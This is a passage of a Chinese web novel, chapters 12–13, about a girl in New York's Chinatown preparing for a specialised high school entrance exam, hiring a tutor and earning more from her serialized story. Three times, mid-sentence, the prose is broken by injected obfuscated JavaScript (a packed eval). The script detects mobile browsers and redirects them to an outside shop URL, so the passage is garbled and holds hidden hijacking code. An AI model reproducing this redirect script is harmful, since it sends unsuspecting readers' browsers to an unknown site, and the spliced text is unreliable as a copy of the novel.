事实上，在过去数年里，唐人街孩子的人生轨迹都是上完小学，家庭条件不错的升入普通高中，不好的直接参加工作。 而升入高中的，只有少数能考上大学，其他的高中毕业后，要么进工厂，要么学技术，如果家里有店，也可能会学着做生意。 陈阿莲和杨志明都是普通人，目光不算长远，给两个女儿规划的路无非就这些。 大环境下，他们根本没有想到孩子还有其他出路，所以杨乐怡是真的不怪陈阿莲。 到现在，唐人街还存在一些风月场所，和有些为了钱把孩子推入火坑的家长比起来，她已经做得够好了。 杨乐怡说这些，也不是为了埋怨，她只是想告诉陈阿莲，她要考布朗克斯科学高中，为了实现这个目标，她可能会动用存款。 至于用多少，暂时无法保证。 但之前她说四个月内，她们不用再发愁房租的话，可能要不作数了。 当然，她会尽可能地节省开支，备考期间也会持续写作，争取能有稳定收入补贴家里，让她们能维持目前的生活。 陈阿莲听后连忙说：“你不要说这种话，养家本来就不是你的责任，你已经做得很好，就算后面没有稳定收入补贴家里也没有关系。” 说到这里，陈阿莲的声音慢下来，略有些迟疑，“今天我听兰姐说，坚尼街附近的制衣厂最近生意很好，招零工，一天能有五六块。待会我再找她问问，如果真有招工，我就去报名，这样我每个月能多挣五六块。” 杨宝怡插话说：“我也可以去找工作，昨天我和同学茶室老板送餐，转了五十美分。” 刚说完，杨宝怡就捂住了嘴巴，神色有些懊悔。 她本来想把钱存起来，买想要的东西，可现在话已经说出口……杨宝怡纠结几秒，从口袋里摸出昨天挣的钱，起身送到姐姐手里。 “姐姐需要钱，可以先用我的。”再纠结两秒，杨宝怡才不舍地说，“不要你还。” 杨乐怡失笑，又有些感动。 她将钱还给杨宝怡，说道：“姐姐不要你的钱，零工的事，妈你也不用太着急，请人补习到底要花多少钱，现在还不清楚。也许我把《阿珍的故事》写完，拿到的稿费留出家教费用，还能剩一些呢？” “但……” “洗衣店的工作已经很辛苦，如果唯一的休息也要去工厂做工，我担心妈你的身体受不住。万一因为疲劳住院，花的钱也许会比挣的钱多。” 陈阿莲神色暗淡，医院有多能吞钱，她深有体会。可想到如果不是家庭拖累，杨乐怡根本不必考虑这么多，心里更加愧疚。 杨乐怡担心陈阿莲明着答应，背地里去制衣厂打零工，握住她的手说：“妈，至少再等等，等我问清楚情况，再最后一步打算吧。” 陈阿莲闻言，脸色有所松动，低声说：“好。” 杨乐怡又伸手捏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349243|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏妹妹脸蛋：“你也是，想挣零花钱可以，但不要太辛苦，知道吗？” “知道啦！” …… 和母亲妹妹聊完，杨乐怡出门去公用电话亭，给露西亚·罗西打了个电话，说自己有学业上的问题想要求助于她，请求上门拜访。 罗西虽然惊讶，但痛快给了杨乐怡地址，并表示次日上午有时间。 挂断电话后，杨乐怡没有立刻回去，而是拐进了一条售卖各种工艺品、摆件的店铺，选了一套带刺绣的布面杯垫，作为明天上门的礼物。 隔天清早，吃过早饭，杨乐怡便带着用牛皮纸、丝带包起来的礼物，往唐人街隔壁的小意大利去。 露西亚·罗西是意大利人，住在小意大利主街茂比利街北段，靠近布鲁姆街的地方。 这一片都是褐石联排公寓，通常三到四层，外立面多是砂石，石阶很高，直通二层大门，底层通常作为餐厅，也有部分开着杂货店存在。[1] 而楼上两到三层，则通常单层分组，一栋楼里住两到三个家庭。 因此，住在联排公寓的，家庭条件通常不错，以商户和二代移民为主。[1] 露西亚·罗西家条件就不错，她父母开着一家面包店，请了两名员工，收入不低。很早就买下了这一栋联排公寓，只将四楼租出去，一到三层自住。 今天是工作日，罗西家只有露西亚母女和一名佣人在。 露西亚果然很热心，将杨乐怡迎进了客厅，并将她介绍给母亲。 露西亚的母亲是典型的意大利女性，温柔，但话不多，连感谢杨乐怡带来的礼物时，笑容都是内敛的。 同时她很周到，让佣人准备好茶点，便离开了会客室，将空间留给师生二人。 和母亲比起来，露西亚的话要多不少。 她才二十出头，没工作几年，对一切充满了热情。 得知杨乐怡是因为想考布朗克斯科学高中，想要参加SHSAT考试，但因为学校透露的相关信息不多，才特意上门咨询。 露西亚连说了三声抱歉，解释说：“校长说往年没有学生报名参加SHSAT，以为今年也是如此，不必着重强调，我才……” 露西亚越说越愧疚，眼里都有泪水了。 前世看英美剧时，杨乐怡就觉得西方人的感情似乎过于充沛。 穿越后因为一直待在唐人街，虽然期间不是没见过洋人，但没近距离打交道过，没有亲身经历。 直到现在直面情绪充沛的露西亚……杨乐怡有点无措，想她是不是也应该挤出两滴眼泪？ 但想到那场景，杨乐怡心里更觉尴尬，便放弃这一念头安慰道：“罗西小姐，你不必太过伤心，判断失误并不是你的错。” 安慰的话说完，杨乐怡把话题拉回来，“现在离考试有近三个月时间，还有时间复习，但我了解到的信息不够全面，可能需要罗西小姐的帮助。” 杨乐怡欲言又止，“只是不知道，提出这样的请求，会不会太麻烦罗西小姐你。” “当然不麻烦！” 露西亚毫不犹豫，“如果能帮助到你，我会感到非常荣幸。” 12.学习计划 露西亚·罗西毕竟是老师，她知道的关于SHSAT考试的信息，果然比林静娴父亲打听到的多。 SHSAT考试时长是三小时，中间没有休息，也不能用计算器。[1] 内容考两科，英语和数学，加起来共八百分。 通过没有固定分数线，成绩出来三大特殊高中，会从史岱文森开始，根据招生名额从高开始录取，直到三所高中名额全部录满。 题目则每科有五十到六十道题，全是选择题。 但不要以为选择题就好做，英语会涉及到大量高级词汇，甚至是学术词、生僻词。阅读理解部分会有三四篇长文，内容可能涵盖文学、历史、科学、议论文，对考生词汇量是极大的考验。[1] 数学则会考到代数、几何、逻辑推理，难度也远超八年级的课本内容。 何况举行考试时，八年级才开学一个月，课本上的内容才刚开始学。 可想而知，没有提前准备，考出来的成绩肯定不会好，而要提前做准备，除了少数智商高，甚至可以说是天才的学生，大多数人想通过考试，都要长期请家教补课。 因此，虽然特殊高中入学考试举办之初，就定下了只看分数，不看推荐信、族裔、家庭的规则。[1] 但现实是从一开始，考试规则就筛掉了那些家庭困难的普通学生。 至于推荐信和族裔，校方在录取学生是到底看不看，估计只有学校领导才知道。 听完露西亚的介绍，杨乐怡认为对她而言，数学应该问题不大。 前世她是理科生，大学念的医科，高数是必修课。虽然已经毕业许多年，但去年她去朋友家，拿起对方正在上高中的孩子的数学试卷，也能做个七七八八。 麻烦的是这里是美国，就算是考数学，题目也都是英文。 虽然原身英语过得去，她穿来后也一直坚持学习，词汇量扩大不少，但万一碰到复杂的题目就不好说了。 而和英语比起来，数学的问题又不那么大了。 数学题目再复杂，也只是理解上需要花费更多时间，这段时间她过一遍相关题目，应该能保证正确率。 但英语……杨乐怡是真的愁。 她掌握的高级词汇都不多，更不用说学术词、生僻词，想想就头皮发麻。 好在说完考试内容，露西亚告诉了杨乐怡一个不坏的消息。 关于这场考试，今年新加了一个特殊规则，即九年级的学生也可以报考，如果通过考试，十年级可以转学到特殊高中。 虽然九年级考的是插班转校名额，成绩要求更高，通过难度更大，但杨乐怡觉得，有机会总比没机会好。 只是从另一个角度去想，特殊规则就意味着不稳定，也许今年有，明年就取消了。所以杨乐怡当前的目标，还是通过这次考试。 了解清楚考试信息，杨乐怡便问露西亚，能不能弄到往年的考试试卷，她可以出钱买下。以及她想找一名补习老师，但不认识什么人，也不清楚市场行情。 露西亚思考片刻说：“我可以问问认识的人，也许能帮你弄到试卷。”至于费用，她没有大包大揽，默认了杨乐怡的提议。 家教的课时费则要看情况，如果是找大学生或者研究生，每小时的费用在二到四美元间。有经验的老师费用要高一些，可能要四五美元一小时。 又问杨乐怡对家教有什么要求。 杨乐怡说：“最好是女性，在职老师的课时费对我来说，负担有点重，我对学历没有要求，可以是大学生，也可以是高中生，但最好参加过特殊高中入学考试，是布朗克斯科学高中的学生更好。” 露西亚边听边点头：“还有其他要求吗？” “我希望她能同意试课，如果试课后我们双方都觉得不错，课时费可以按照大学生给。但我家不太适合补习，所以补课地点可能会定在图书馆……” 说到这杨乐怡不好意思地笑了笑，“罗西小姐，我的要求是不是太多了？” “不，”露西亚摇头，一脸认真地说，“我认为你的这些要求很合适，一点都不多。” 虽然是师生，但因为班上学生多，露西亚对杨乐怡的了解并不多，只知道她成绩很好，性格也不错，两人之间的交流不多。 直到这次见面，她才发现杨乐怡很有想法。 露西亚说：“有你说的这些要求，我反而更容易找人。” 杨乐怡再次表示感谢，又坐一会，便提出离开。 露西亚连忙挽留，让她留下吃午饭，但杨乐怡觉得不太合适，借口母亲要工作，不放心妹妹一个人在家婉拒了。 送杨乐怡出门后，露西亚说：“我会联系认识的人打听试卷，以及寻找补习老师，有消息会联系你。”并让她留个能找到人的电话。 杨乐怡早就准备好了，从口袋里拿出写好的便签说：“您打电话到这里，说找杨就好。” 她留的是房东家的电话，和小一辈喜欢称呼英文名不同，唐人街的老一辈通常只能记住邻居家孩子的华文名字。 但不管是乐怡，还是阿怡，发音对露西亚来说都有点难，为了不错过电话，杨乐怡才会留更好发音的姓氏。 露西亚接过便签，说了声好，看着她步行离开。 …… 两天后，杨乐怡收到露西亚的电话，她之前请对方帮忙的两件事都有了结果。 试卷弄到了，不过只有最近三年的。因为试卷所有者是露西亚的朋友，对方没要她的钱，所以她也不打算收杨乐怡的钱。 家教也有两个符合条件的，一个是巴纳德学院的学生。 巴拉德学院是哥伦比亚大学的附属名校，也是七姐妹女校之一，能考上的学生，成绩都很优异。 但也因为是名校生，对方要求的课时费比较高，要五美元一小时。且她可以接受面谈，不能接受试课。 另一个则是布朗克斯科学高中的学生，九月份开学上十年级，成绩也很不错。 因为只是高中生，她对课时费要求不高，只希望不要低于两美元一小时，也可以接受试课。 另外，两人都是女性，英语数学都能教，也都能接收去图书馆补习。 杨乐怡是实用主义者，虽然知道第一个人选很优秀，但五美元一小时对她来说太贵了。 而且成绩好不代表会讲课，万一面谈时觉得不错，补习起来不知所云，老师介绍的人，她想辞掉对方都不好办。 第二个人选虽然只是高中生，但能考上布朗克斯科学，只要这四年不掉链子，迟早也能上名校。 更重要的是她便宜，能接受试课。 杨乐怡问：“我能先见见费拉罗小姐吗？” “当然可以。” …… 隔天，杨乐怡去露西亚家里拿试卷，顺便见到了费拉罗。 费拉罗是典型的西西里人长相，皮肤并不白皙，但有光泽，看着也细腻。头发是深棕色，天生波浪卷，但被她扎了起来。 眼睛是深褐色，形状微圆，偏杏眼。 眼窝很深，鼻梁高，嘴唇饱满略厚，脸颊有点肉肉的，看起来比实际年龄要小一些。但她说话很有条理，没有露西亚那么感性，更内敛。 杨乐怡跟她就SHSAT考试做了简短交谈，可以看出她言之有物。 之后，杨乐怡说自己想先看看试卷，确定自己哪些地方比较薄弱，希望将试课时间定在两天后。 费拉罗没有意见，两人互相留下电话，便结束了这场交谈。 从小意大利回到唐人街，杨乐怡吃完中饭，便坐到书桌前开始做试卷。 数学和杨乐怡想的差不多。 这两天除了写小说，她还找人借到了八年级的课本，过了一遍数学知识点。 SHSAT考试内容虽然超纲，但对杨乐怡来说难度不大。 麻烦的是有些题目确实有点绕，理解题目浪费了不少时间，加上离开学校多年，她做题速度下降不少，时间有点紧张。 英语也比预想的稍微好点，难度有，但没那么可怕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351123|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高级词汇确实有点多，生僻词也总能见到，但除了词汇题，其他的可以结合前后文猜出来。 当然，想考高分靠猜是不行的，而且陌生词汇多了，阅读就要花费更多时间。 而考试只有三个小时，分摊下来每科只有一个半小时，她没有太多时间可以浪费，所以扩大扩大词汇量是当务之急。 杨乐怡决定给自己定个任务，从今天开始，她每天都要至少二十个高级词汇或者生僻词。 另外报纸可以继续看下去，但不能跟之前一样连蒙带猜地看，杨乐怡准备把报纸当成补习教材。 八年级的课本内容比较简单，她可以自己学，有不懂的再整理出来一起问老师。 她存款不多，可不能浪费补习时间。 除了这些，语法也要加强，也许需要安排几门课专门学习。 数学则可以自己看书，对照课本补一些专用词汇就够了…… 杨乐怡边想边列计划，她打算过两天试完课，确定是费拉罗了，再照着这份计划和她讨论出相对合适的课程安排。 至于现在……列好计划，杨乐怡便拿出《阿珍的故事》，顺着往后写。 原本杨乐怡准备慢慢写到八月中旬，但现在出了变故，为了能心无旁骛地学习，现在她打算早点写完这个故事。 幸好在写文方面，杨乐怡算是压力型选手。 压力越大，她状态越好，写出来的东西也越有感觉。 这几天她手速爆发，光昨天就写了八千字，加上前几天写的，手上已经有三万多字的存稿。 而这个故事，也已经接近尾声。 杨乐怡今天写的剧情，和现实发生的差不多，阿光遭遇意外，被送进医院抢救，却仍昏迷不醒。 和现实不同的是，阿珍夫妻一起开了餐厅，他们已经准备去看房。 阿光是主厨，他出事后，餐厅生意几乎停摆，钱像流水一样交到医院，看房也被搁置，甚至这个目标似乎越来越遥远。 痛苦笼罩住了这个家庭。 但阿莲很有韧劲，在苦难面前，她没有丝毫退缩的打算。 旁人劝她放弃救阿光，能保住多少家业是多少，但她认为做人要无愧于心，坚持救阿光。 也有人劝她早点关了餐厅，这样才能及时止损，但她不愿意，一边调整餐厅的运营方式，暂停阿光主厨的粤菜，主做她更擅长的甜品，一边三顾茅庐，请已经退休的粤菜大厨出山。 经过不懈努力，餐厅新推出的甜品获得一致好评，大厨的态度也终于松动，同意为她工作。 故事的最后，是粤菜大厨加入后，经过一系列的试菜、调整，餐厅终于彻底重开，再次宾客临门。 热闹喧嚣间，阿珍接到医院电话。 阿光醒了。 她匆忙赶到医院，见到睁开双眼，但暂时无法说话的阿光，抬起头，恰好看到远方乌云散去，天光乍现。 天终于晴了。 写到这里，杨乐怡停住笔。 从头到尾看了一遍整个故事，觉得没有需要删除修改的地方。 虽然结局不像她之前和陈阿莲说的一样，阿珍一家买到了房子，但困难已经过去，买房是必然发展，她认为不用写得太明白。 有时候，给故事留点想象空间不是坏事。 陈阿莲没有这种想法，但她认为这个结局很好，她也觉得阿珍的未来有无限希望。 隔天，杨乐怡去打字店，让工作人员帮忙打印成符合投稿格式稿件。 恰好最新一期《华侨文阵》的加印销售数据已经出来——加印的一千一百本杂志，已于昨天全部售空。 虽然到最后一天，销售已经有点疲软，批发商不准备继续加印，但目前的数据已经非常可观。 上午，吴文轩正式提出给杨乐怡涨千字，文化社的负责人没怎么犹豫，直接点了头。 于是杨乐怡誊抄到一半，便接到了吴文轩的电话：“恭喜，从下一期连载开始，你的稿费是千字六块。” 13.第一次补习 千字六块！ 得知这个喜讯，杨乐怡激动得差点失语。 直到电话那头吴文轩问她稿子写得怎么样，才僵着脸回答：“快写完了，差最后一点。” 虽然已经被喜悦冲昏头脑，但杨乐怡没忘记人性复杂，距离她上次交稿过去不到十天，现在就说写完了，可能会引起一些麻烦。 好点的，是文化社觉得她之前有隐瞒，手里存有稿子。 麻烦的，是文化社认为她后面没好好写，要是再后悔给她涨稿费，没准会拿这个说事。 虽然杨乐怡觉得吴文轩不是这种人，但他只是主编，给人打工的，老板打定主意，他肯定也没办法。 她暂时不缺钱，离月中也只剩下不到一周时间，她等得起。 吴文轩不知道杨乐怡的想法，只觉得她的写作速度让人很安心，心情愉悦地问：“那，之前说的月中完结，没问题吧？” “没问题。” 挂断电话，神色平静地和兰姐道别，杨乐怡转身回去。 刚进门，她就虚空挥了一拳，并无声呐喊：“千字六块！” 在她之前，《华侨文阵》稿费最高的长篇小说，千字也不过四美元。 虽然这个数据是吴文轩告诉杨乐怡的，但她认为不会有太大出入，这时候的华文报刊，稿费确实都不高。 所以吴文轩说尽量帮她争取涨到千字五美元，她没有任何异议。 这几天经济压力再次变大，杨乐怡也做过梦，想如果《华侨文阵》给她的稿费能涨到千字六美元就好了。 可梦醒想起，理智上她知道可能性不大，所以没抱什么希望。 却没想到，今天竟然梦想成真了！ 高兴完，杨乐怡坐到书桌前，却没有继续誊抄小说，而是在心里算起账。 她注意到，吴文轩说的是从下期连载开始，千字就给她涨到六美元。 而今天之前，《华侨文阵》只刊登了一期《阿珍的故事》，即开头两万字，所以还没刊登的八万字，稿费都会按照千字六美元算。 也就是说，已经交上去的二到六万字，文化社还要补她八十美元稿费。 至于最后四万字，则能拿到两百四十美元稿费。 加起来，下次再去文化社，她能拿到三百二十美元。 之前她单独放的五十美元存款没动，准备拿来补贴家里的二十多美元，花了近十块，还剩不到十五美元。 也就是说，到月中她手头所有存款，能增加到三百八十美元，可能多点，也可能少点，但相差不会太多。 费拉罗的期望薪资是每小时不低于两美元，杨乐怡不准备砍价，但也不打算多给。因为这已经是下城区，高中生家教能拿到的最高薪资。 她的经济状况，也不允许她太大方。 杨乐怡也不准备每天都补习，暑假期间三天一次，每次两三个小时就够了。 布朗克斯科学高中离得远，开学后补习肯定没法安排得这么频繁，杨乐怡计划安排在周末，可能分两天，每次还是补两三个小时。 如果都按三小时算，补习三个月，费用差不多是一百五十美元。 当然进度可能比想象中慢，补习时间需要拉长，但如果定了费拉罗，补习开支应该不会超过两百美元。 她家已经不欠房租，陈阿莲的工资付房租加各项生活开支有点勉强，但只要没人生病，保持目前的生活水平，需要贴补的钱不会太多。 就算补习费按两百算，她手头剩余的钱也能支应四五个月。 当然这是最好的情况，如果费拉罗不合适，她只能继续找其他老师。现在看名校生和经验丰富的补习老师课时费相差不大，不管找谁，两百美元都不够用。 又或者减少课时，能省则省？ 因为这些是试课后，才需要考虑的问题，杨乐怡没有放任自己发散思维，差不多了便清空脑袋，拿起笔继续誊抄工作。 …… 第一次试课约在了哥伦布公园。 虽然哥伦布公园位于唐人街的南侧边缘，但这个时期下城区公园很少，附近几个街区的住户闲暇时都喜欢来这里消磨时光。 两人八点碰面，时间不算早，但也没有很晚，于是她们顺利地找到了一张空桌。 除了这两天做过的试卷，杨乐怡还带了词典、这几天去书店搜罗到的习题册、报纸、以及词典。 笔记本和笔当然是必需品，另外她还带了两杯咖啡，因为不清楚费拉罗的口味，她买的是最便宜的美式。 拿到咖啡，费拉罗停顿两秒问：“这算补课费吗？” 杨乐怡微笑：“不算，这是初次补习的小礼物。” “谢谢。” 费拉罗喝了口咖啡，称赞一句不错，便打开试卷批改起来。 她先看的是数学，过程中眼里流露出惊讶，边改试卷边问：“你在自学高年级数学？” “是。” 快速改完三份试卷，费拉罗说：“你数学很好，我认为不需要补习。” “我也这么想，”杨乐怡说，“我英文不够好，阅读题目拖慢了速度，导致时间不太够。另外我不确定自己学得是否全面，所以想花上两三节课，过一遍高年级数学。” 费拉罗有点奇怪，她看杨乐怡做过的试卷，可不像是学得不全面。但杨乐怡不仅是学生，还是付钱的人。 多上两三节课对她更没有坏处，便点头说：“可以。” 话落开始看英语试卷，很快归纳出杨乐怡的薄弱点，和她的判断差不多。 了解过杨乐怡的基本情况，费拉罗便说起自己准备的补习计划，总结起来是多背多做多交流。 杨乐怡也拿出了自己的计划，两人沟通后，才定下双方都觉得合适的补习方式。 之后才进入今天的主题。 费拉罗不是专业老师，杨乐怡也不是没有想法的学生，所以她们上课的过程，和普通补习不太一样。 讲课内容由杨乐怡定，她拿出了准备好的报纸，让费拉罗讲头条文章。 怎么讲则由费拉罗自由发挥，她先让杨乐怡通读一遍，再针对文章里使用的高级词汇，以及疑难语法做解释。 一个小时的补习时间很快过去，杨乐怡认为费拉罗讲得不错，直接定下了她。 补习费是之前说好的两美元一小时，暂时三天补一次课，前两次先补两小时，再看情况决定是否增加补课时常。 谈好后，两人继续上课。 又一个小时结束，两人定下三天后碰面的时间，收视东西往公园外去。 分别时，费拉罗举起手中空了的纸杯说：“谢谢你的咖啡，但以后没有必要给我带，如果可以，我更希望你能把咖啡折算成现金。” 杨乐怡点头：“明白。” 上次碰面，杨乐怡就觉得费拉罗性格内敛，这次上课，更觉得她冷淡理智到不像意大利人。 杨乐怡转念一想，同一个人在面对不同人时，都能露出不同的面孔，意大利有几千万人，性格怎么可能完全一样。 有人外向，就会有人内敛，有人热情，就会有人冷淡。 刻板印象要不得。 …… 晚上陈阿莲下班，杨乐怡跟她说了补习老师已经定下来的事：“我算过，补习到十月份，费用在一百五左右。《阿珍的故事》千字涨到了六块，月中去交稿，我能再拿到三百二十块，算上手头存款，减去补习费能剩两百左右。” 陈阿莲已经知道《阿珍的故事》涨千字的事，也知道故事很受欢迎。 前一则消息是杨乐怡告诉她的，后一则则是她自己看到的。 虽然洗衣店的顾客以白人为主，但华人顾客也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355500|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少，陈阿莲在洗衣店工作，也经常需要和人打交道。 《阿珍的故事》刚刊登时，讨论还不多，至少她不知道身边有人在看。 但随着时间推移，故事热度不降反升，这几天她上班时，总能听到同事，或者来取衣服的华人顾客讨论它。 回到家了，也时不时能听到公寓里的住户聊起。 他们都有些等不及看后面的剧情了。 不过没人发现阿珍的原型是她，也是，那个时期通过移民政策来美的华人虽然不多，但每年总有几个。 其中为了移民，倾家荡产的也不少。 阿珍来纽约比她更顺利，邻居们联系不到她身上，实属正常。 陈阿莲没有到处嚷嚷阿珍是她，比起让众人的目光聚焦到她身上，她更享受于众人皆醉我独醒的隐秘感。 因为知道故事受欢迎，所以杨乐怡说起涨千字的事时，她虽然高兴，但其实算不上很惊讶。 她女儿值得。 这会陈阿莲静静听着，没有插话。 杨乐怡继续说：“有这笔钱，接下来几个月我们家的经济都不会太紧张，所以去工厂打零工的事，我认为可以暂时搁置，妈你觉得呢？” 陈阿莲面露犹豫。 昨天她找兰姐打听过，知道这两年唐人街的服装行业行情很好，或者说，有越来越好的趋势。 似乎和海外竞争压力有关，美国本土纺织业急需削减成本，曼哈顿纺织行业的中心开始向唐人街转移。[1] 众所周知，唐人街的华人能接受更低的薪水。[1] 兰姐说，在服装制衣厂，一个熟练工每周能挣上百美元，愿意拼命加班的，月收入能有五六百。 就算是临时工，一个月也有一百二到一百四十四美元。 而她在洗衣店工作，周薪只有三十美元，每天工作快十二小时，一周工作六天，才能挣到一百二十美元，和制衣厂的新手临时工差不多。 但服装厂忙的时候才需要临时工，不忙了随时可能被开掉，而她需要养家，必须有稳定的收入来源。 所以她想先趁着休息日去打零工，能学一点是一点，等会做衣服了，再辞掉洗衣店的工作。 她不求月挣五六百，砍一半，月薪能有三百块，她们家的日子都能好过许多。 如此，杨乐怡也不必小小年纪，就被迫扛起养家的重任。 陈阿莲知道杨乐怡的顾虑，怕她累，也怕她在轮轴转的工作中倒下，就像几个月前杨志明突然倒下。 但陈阿莲觉得，杨志明突然倒下，和上班辛苦没有太大关联。而且唐人街里为了生活，轮轴转的人很多，他们都没有事，她应该也不会有事。 可她也知道三个月后的考试对杨乐怡很重要，如果自己坚持去打零工，女儿说不定会分心。 陈阿莲想，要不再等等。 至少，要等女儿考完试再说。 最终陈阿莲什么都没说，只应了声好。 之后杨乐怡又和费拉罗碰了一次面，上午结束补习，杨乐怡去了一趟位于勿街的文化社交稿。 虽然新一期《华侨文阵》没有再加印，但《阿珍的故事》讨论度肉眼可见的在持续走高。 再加上这个故事和唐人街里普通群众的契合度很高，尤其是老一辈，在看或者听第一期故事时，都忍不住想起往事。 于是，《华侨文阵》的读者，和唐人街里商户的客户群体，第一次几乎完全重叠，在最新期杂志投广的商户，也迎来了客流爆发式增长。 这么一来，《华侨文阵》的广告费也水涨船高。 成立二十来年，文化社的资金第一次这么充裕，老板自然不愿意得罪杨乐怡这个福星，早早让吴文轩准备好稿费，只等她来取。 交上最后四万文稿后，杨乐怡如愿拿到了三百二十美元稿费。